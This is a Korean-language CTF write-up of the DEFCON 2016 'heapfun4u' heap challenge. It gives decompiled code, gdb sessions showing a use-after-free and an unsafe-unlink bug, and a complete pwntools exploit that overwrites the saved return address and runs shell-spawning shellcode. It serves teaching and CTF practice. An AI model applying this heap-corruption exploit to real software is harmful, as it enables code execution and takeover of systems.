- Created by Lazenca.0x0 on Apr 21, 2017
List
Information
Description
Guess what, it is a heap bug.
heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me:3957
File
Source Code
Writeup
File information
lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/heap4fun$ file heapfun4u heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/heap4fun$ checksec --file heapfun4u RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 3 heapfun4u lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/heap4fun$
- 해당 프로그램을 실행하면 다음이 출력됩니다.
Binary 실행
lazenca0x0@ubuntu:~/CTF/DEFCON2016/baby's/heap4fun$ ./heapfun4u [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit |
Binary analysis
Main
해당 함수는 다으뫄 같은 기능을 합니다.
- memset()함수를 이용해 gArray 영역을 '0'으로 초기화합니다.
- 사용자 입력 값이 'A'인 경우:
- 먼저 gCount의 값이 100인지 합니다.
- 해당 값이 100이면 프로그램이 종료됩니다.
해당 변수는 buffer 공간을 생성한 갯수를 저장합니다.
- read()함수를 이용하여 사용자로 부터 생성할 buffer의 크기를 입력받습니다.
- 해당 값은 AllocateBuffer() 함수의 인자 값으로 전달됩니다.
- AllocateBuffer() 함수는 전달받은 값만큼 heap 영역을 생성한 후 주소를 리턴합니다.
- 할당된 Heap 영역은 gArray[count]에 저장됩니다.
- 할당된 Heap 영역의 size는 gArraySize[count]에 저장됩니다.
- 먼저 gCount의 값이 100인지 합니다.
- 사용자 입력 값이 'F'인 경우:
PrintArray()함수를 호출합니다.
해당 함수는 gArray, gArraySize에 저장된 값을 모두 출력합니다.
- 그리고 read()함수를 이용하여 해제 할 buffer의 번호를 입력 받습니다.
- 입력받은 값은 FreeBuffer()함수에 다음과 같은 형태로 전달됩니다.
- Ex) FreeBuffer(gArray[입력받은 번호])
- 즉, gArray[]에 저장된 Heap 주소를 전달하는 것입니다.
- 사용자 입력 값이 'N'인 경우:
NiceGuy() 함수를 호출합니다.
- 사용자 입력 값이 'W'인 경우:
WriteBuffer() 함수를 호출합니다.
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rsi@1
int count; // ebx@9
__int64 result; // rax@22
char buf; // [rsp+0h] [rbp-120h]@2
int size; // [rsp+10Ch] [rbp-14h]@1
memset(gArray, 0, 800uLL);
gCount = 0;
size = 0;
setvbuf(stdin, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("[A]llocate Buffer");
puts("[F]ree Buffer");
puts("[W]rite Buffer");
puts("[N]ice guy");
puts("[E]xit");
printf("| ", v3);
v3 = &buf;
if ( read(0, &buf, 0xFFuLL) <= 0 )
break;
switch ( buf )
{
case 'A':
if ( gCount == 100 )
exit(0);
printf("Size: ", &buf);
v3 = &buf;
if ( read(0, &buf, 0xFFuLL) <= 0 )
exit(0);
size = atoi(&buf);
count = gCount;
gArray[count] = (void *)AllocateBuffer(size);
gArraySize[gCount] = size;
if ( !gArray[gCount] )
exit(0);
++gCount;
break;
case 'E':
puts("Leave");
return 0LL;
case 'F':
PrintArray();
printf("Index: ", &buf);
v3 = &buf;
if ( read(0, &buf, 0x100uLL) <= 0 )
exit(0);
size = atoi(&buf) - 1;
if ( size < 0 || size > 99 )
exit(0);
if ( !gArray[size] )
exit(0);
FreeBuffer((__int64)gArray[size]);
break;
case 'N':
NiceGuy();
break;
case 'W':
WriteBuffer();
break;
default:
exit(0);
return result;
}
}
exit(0);
return result;
}
PrintArray
- 해당 함수는 다음과 같은 기능을 합니다.
- gArray[],gArraySize[]에 저장된 정보를 출력합니다.
int PrintArray()
{
void *address; // rax@2
signed int i; // [rsp+Ch] [rbp-4h]@1
for ( i = 0; i <= 99; ++i )
{
address = gArray[i];
if ( address )
LODWORD(address) = printf("%d) %p -- %d\n", (unsigned int)(i + 1), gArray[i], (unsigned int)gArraySize[i]);
}
return (signed int)address;
}
NiceGuy
- 해당 함수는 다음과 같은 기능을 합니다.
- char 형 변수를 선언 후 해당 변수가 사용하는 주소를 출력합니다.(Leak of stack address)
int NiceGuy()
{
char v1; // [rsp+Ch] [rbp-4h]@1
return printf("Here you go: %p\n", &v1);
}
WriteBuffer
- 해당 함수는 다음과 같은 기능을 합니다.
- PrintArray() 함수를 이용해 생성된 Buffer 정보를 출력합니다.
- read()함수를 이용해 유저로 부터 입력받은 값을 저장할 Buffer 장소의 번호를 입력받습니다.
- read()함수를 이용해 유저가 원하는 Buffer 공간에 값을 입력받아 저장합니다.
ssize_t WriteBuffer()
{
ssize_t result; // rax@8
char buf; // [rsp+0h] [rbp-20h]@1
int location; // [rsp+1Ch] [rbp-4h]@1
location = 0;
PrintArray();
printf("Write where: ");
if ( read(0, &buf, 15uLL) <= 0 )
exit(0);
location = atoi(&buf) - 1;
if ( location < 0 || location > 99 )
exit(0);
if ( !gArray[location] )
exit(0);
printf("Write what: ", &buf);
result = read(0, gArray[location], gArraySize[location]);
if ( result <= 0 )
exit(0);
return result;
}
Debuging
AllocateBuffer / FreeBuffer
다음과 같이 Break point를 설정합니다.
gdb-peda$ b *0x0400A6E Breakpoint 1 at 0x400a6e gdb-peda$ b *0x0400B4E Breakpoint 2 at 0x400b4e gdb-peda$
- 다음과 같이 AllocateBuffer 기능을 사용해 공간을 할당받습니다.
- 할당받은 memory 영역을 살펴보면 Heap과 같은 형태입니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/CTF/DEFCON2016/Baby's/heapfun4u/heapfun4u [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | A Size: 16 Breakpoint 1, 0x0000000000400a6e in ?? () gdb-peda$ i r rax rax 0x7ffff7ff5008 0x7ffff7ff5008 gdb-peda$ x/6gx 0x7ffff7ff5008 0x7ffff7ff5008: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5018: 0x0000000000000fe0 0x0000000000000000 0x7ffff7ff5028: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/6gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000fe0 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 하지만 해당 프로세스의 memory map을 살펴보면 Heap, Stack 영역이 아닌 별도의 영역입니다.
gdb-peda$ info proc map
process 56985
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x402000 0x2000 0x0 /home/lazenca0x0/Documents/CTF/DEFCON2016/Baby's/heapfun4u/heapfun4u
0x601000 0x602000 0x1000 0x1000 /home/lazenca0x0/Documents/CTF/DEFCON2016/Baby's/heapfun4u/heapfun4u
0x602000 0x603000 0x1000 0x2000 /home/lazenca0x0/Documents/CTF/DEFCON2016/Baby's/heapfun4u/heapfun4u
0x7ffff7a15000 0x7ffff7bcf000 0x1ba000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so
0x7ffff7bcf000 0x7ffff7dcf000 0x200000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7ffff7dd3000 0x7ffff7dd5000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7ffff7dd5000 0x7ffff7dda000 0x5000 0x0
0x7ffff7dda000 0x7ffff7dfd000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so
0x7ffff7fdb000 0x7ffff7fde000 0x3000 0x0
0x7ffff7ff5000 0x7ffff7ff6000 0x1000 0x0
0x7ffff7ff6000 0x7ffff7ff8000 0x2000 0x0
0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$
Check for UAF(Use After Free)
- 해당 함수에서 제공하는 기능을 이용해 UAF 취약성이 발생하는지 확인해보겠습니다.
- 다음과 같이 추가로 공간을 생성합니다.
Size: 64
- Size: 16
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | A Size: 64 Breakpoint 1, 0x0000000000400a6e in ?? () gdb-peda$ c Continuing. ... Size: 16 Breakpoint 1, 0x0000000000400a6e in ?? () gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000043 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$
- 그리고 다음과 같이 할당된 공간을 해제 합니다.
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | F 1) 0x7ffff7ff5008 -- 16 2) 0x7ffff7ff5020 -- 64 3) 0x7ffff7ff5068 -- 16 Index: 2 Breakpoint 2, 0x0000000000400b4e in ?? () gdb-peda$ c Continuing. ... Index: 1 Breakpoint 2, 0x0000000000400b4e in ?? () gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x000000000000005b 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$
- 다음과 같이 크기가 64인 공간을 할당합니다.
- AllocateBuffer 기능을 이용해 생성된 공간의 주소가 0x7ffff7ff5008 입니다.
- 해당 주소는 첫번째 생성한 공간과 같은 주소 입니다.
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | A Size: 64 Breakpoint 1, 0x0000000000400a6e in ?? () gdb-peda$ i r rax rax 0x7ffff7ff5008 0x7ffff7ff5008 gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x000000000000005b 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$
- 그리고 해당 프로그램은 해제된 Buffer 공간을 List에서 제거 하지 않습니다.
- 이로 인해 "FreeBuffer" 기능을 이용해 해제된 Buffer 공간을 계속 사용할 수 있습니다.
- 이러한 이유로 UAF 취약성이 발생할 수 있습니다.
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | W 1) 0x7ffff7ff5008 -- 16 2) 0x7ffff7ff5020 -- 64 3) 0x7ffff7ff5068 -- 16 4) 0x7ffff7ff5008 -- 64 Write where:
Check for unsafe unlink
- 우선 다음과 같은 크기의 Buffer를 생성합니다.
- 16, 64, 16
- 다음은 해당 크기대로 할당된 Buffer 메모리 구조입니다.
- 중요한 부분은 0x7ffff7ff5ff8에 저장된 값입니다.
gdb-peda$ b *0x0400B4E Breakpoint 1 at 0x400b4e gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000043 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$ p/x 0x7ffff7ff5078 + 0x0000000000000f80 $18 = 0x7ffff7ff5ff8 gdb-peda$ x/gx 0x7ffff7ff5ff8 0x7ffff7ff5ff8: 0x0000000000000000
- 두번재 Buffer 공간을 해제하게 되면 0x7ffff7ff5ff8 영역에 2번째 buffer의 chunk size 값이 저장된 영역의 주소(0x00007ffff7ff5018)가 저장됩니다.
Breakpoint 1, 0x0000000000400b4e in ?? () gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$ x/gx 0x7ffff7ff5ff8 0x7ffff7ff5ff8: 0x00007ffff7ff5018 gdb-peda$
- 이어서 첫번째 Buffer 공간을 해제하게 되면 0x7ffff7ff5ff8 영역에 1번째 buffer의 chunk size 값이 저장된 영역의 주소(0x00007ffff7ff5000)가 저장됩니다.
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | F 1) 0x7ffff7ff5008 -- 16 2) 0x7ffff7ff5020 -- 64 3) 0x7ffff7ff5068 -- 16 Index: 1 Breakpoint 1, 0x0000000000400b4e in ?? () gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x000000000000005b 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80 gdb-peda$ x/gx 0x7ffff7ff5ff8 0x7ffff7ff5ff8: 0x00007ffff7ff5000 gdb-peda$
- chunk size 값이 저장된 영역의 주소를 저장할 위치 값은 다음과 같이 계산됩니다.
- Forward Pointer의 주소 값(0x7ffff7ff5078) + Forward Pointer의 주소영역에 저장된 값(0x0f80) = 0x7ffff7ff5ff8
- 즉, Forward Pointer의 주소영역에 저장된 값(0x0f80)에 의해 chunk size 값이 저장될 영역의 주소가 결정됩니다.
- 이러한 취약성을 이용해 원하는 주소에 해제된 Buffer의 시작 주소를 저장할 수 있습니다.
PoC(unsafe unlink)
- 다음과 같은 방법으로 unsafe unlink를 검증할 수 있습니다.
- Top chunk의 값을 0xf80에서 0xfa0으로 변경합니다.
- 그리고 첫번째 Buffer 영역을 해제합니다.
gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8
0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000
0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000f80
gdb-peda$ set {int}0x7ffff7ff5078 = 4000
gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8
0x7ffff7ff5000: 0x0000000000000013 0x0000000000000000
0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000
0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000
0x7ffff7ff5070: 0x0000000000000000 0x0000000000000fa0
gdb-peda$ p/x 0x7ffff7ff5078 + 0x0000000000000fa0
$27 = 0x7ffff7ff6018
gdb-peda$ x/gx 0x7ffff7ff6018
0x7ffff7ff6018: 0x00007ffff7df59c0
gdb-peda$ p/x 0x7ffff7ff5078 + 0x0000000000000f80
$26 = 0x7ffff7ff5ff8
gdb-peda$ x/gx 0x7ffff7ff5ff8
0x7ffff7ff5ff8: 0x00007ffff7ff5018
gdb-peda$
- Top chunk 값 변경으로 인해 해제된 Buffer 영역의 시작 주소 값이 0x7ffff7ff5ff8 이 아닌 0x7ffff7ff6018 영역에 저장되었습니다.
gdb-peda$ c Continuing. [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | F 1) 0x7ffff7ff5008 -- 16 2) 0x7ffff7ff5020 -- 64 3) 0x7ffff7ff5068 -- 16 Index: 1 Breakpoint 1, 0x0000000000400b4e in ?? () gdb-peda$ x/16gx 0x7ffff7ff5008 - 0x8 0x7ffff7ff5000: 0x000000000000005b 0x0000000000000000 0x7ffff7ff5010: 0x0000000000000000 0x0000000000000042 0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000 0x7ffff7ff5050: 0x00007ffff7ff5078 0x0000000000000000 0x7ffff7ff5060: 0x0000000000000013 0x0000000000000000 0x7ffff7ff5070: 0x0000000000000000 0x0000000000000fa0 gdb-peda$ x/gx 0x7ffff7ff5ff8 0x7ffff7ff5ff8: 0x00007ffff7ff5018 gdb-peda$ x/gx 0x7ffff7ff6018 0x7ffff7ff6018: 0x00007ffff7ff5000 gdb-peda$
Structure of Exploit code
Description
- Unsafe unlink 취약성이 발생할 수 있는 Memory 구조을 생성합니다.
- 첫번째 공간할당은 해당 프로그램에서 할당되는 최소 크기(16) 만큼 공간을 할당합니다.
- 두번째 공간할당은 Fake chunk를 저장하기 위한 공간을 할당(128) 합니다.
- 세번째 공간할당은 최소 크기(16)만큼 공간을 할당합니다.
- UAF 취약성 생성합니다.
- 두번째 Buffer,첫번째 Buffer을 해제 합니다.
- Fake chunk를 저장 할 네번째 Buffer 공간(128)을 할당 합니다.
- Unsafe unlink 취약성을 발생 시키기 위한 Fake chunk를 네번째 Buffer 공간에 저장합니다.
- 다음과 같은 구조의 Fake chunk를 저장합니다.
p64(rip offset) + p64(0) + p64(Fake buffer size) + p64(fill fake buffer) + p64(fake free chunk size) + p64(forward point) + p64(backward point)
- Unsafe unlink 취약성 실행
- 두번째 Buffer를 해제
- Unsafe unlink 취약성에 의해 RIP 값이 저장되어 있는 위치에 "두번째 Buffer 공간의 chunk size"가 저장된 주소 값이 저장됩니다.
- 두번째 Buffer를 해제
- 4번째 Buffer에 shellcode를 저장합니다.
- 해당 프로그램을 종료합니다.
- The following information is required for an attack:
Check point
- RIP Offset
Information for attack
RIP Offset
- 다음과 같은 방법으로 RIP Offset을 얻을 수 있습니다.
- "Nice guy" 기능을 호출해서 Base Address(0x7fffffffe19c)를 구합니다.
- 해당 프로그램 종료시 ret명령어가 사용하는 RSP 레지스터의 주소는 0x7fffffffe2d8 입니다.
0x7fffffffe2d8 - 0x7fffffffe19c = 0x13c
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/CTF/DEFCON2016/Baby's/heapfun4u/heapfun4u [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | N Here you go: 0x7fffffffe19c [A]llocate Buffer [F]ree Buffer [W]rite Buffer [N]ice guy [E]xit | E Leave Breakpoint 1, 0x0000000000400b96 in ?? () gdb-peda$ i r rsp rsp 0x7fffffffe2d8 0x7fffffffe2d8 gdb-peda$ p/x 0x7fffffffe2d8 - 0x7fffffffe19c $1 = 0x13c
Exploit Code
exploit.py
from pwn import *
p = process('./heapfun4u')
def niceguy():
p.recv()
p.sendline('N')
p.recvuntil(": ")
addr = p.recvuntil("\n")
return int(addr, 16)
def allocate(size):
p.recv()
p.sendline('A')
p.recv()
p.sendline(size)
def free(num):
p.recv()
p.sendline('F')
p.recv()
p.sendline(num)
def write(num,data):
p.recv()
p.sendline('W')
addr_list = p.recv()
target_addr = 0
for line in addr_list.split('\n'):
if line[0] == num:
target_addr = int(line.split()[1], 16)
p.sendline(num)
p.recv()
p.sendline(data)
return target_addr
def exit():
p.recv()
p.sendline('E')
base_addr = niceguy()
rip_addr = base_addr + 316
log.info('base_addr: {}'.format(hex(base_addr)))
log.info('rip_addr : {}'.format(hex(rip_addr)))
#UAF
allocate('16')
allocate('104')
allocate('16')
free('2')
free('1')
#Leak Address
allocate('128')
second_buffer_addr = write('4','A')
rip_offset = rip_addr - second_buffer_addr
log.info('save_offset_addr : {}'.format(hex(second_buffer_addr)))
log.info('rip_offset : {}'.format(hex(rip_offset)))
rip_payload = p64(rip_offset) # rip offset
rip_payload += p64(0) #
rip_payload += p64(16 + 2 + 1) # fake buffer size
rip_payload += 'AAAAAAAA' * 2 # fill fake buffer
rip_payload += p64(16 + 2) # fake freed buffer size
rip_payload += p64(second_buffer_addr) # forward pointer
rip_payload += p64(0) # backward pointer
write('4',rip_payload)
free('2')
payload = 'AAAA' * 4
payload += asm(shellcraft.amd64.sh(),arch="amd64")
write('4',payload)
exit()
p.interactive()
Flag
| Flag | The flag is: Oh noze you pwned my h33p. |
|---|
Related Site
- https://0xabe.io/ctf/exploit/2016/05/23/DEFCONCTF-heapfun4u.html
- https://gist.github.com/zachriggle/692342471645b1a25414561493a51357
- https://blahcat.github.io/2016/05/24/defcon-ctf-2016-heapfun4u/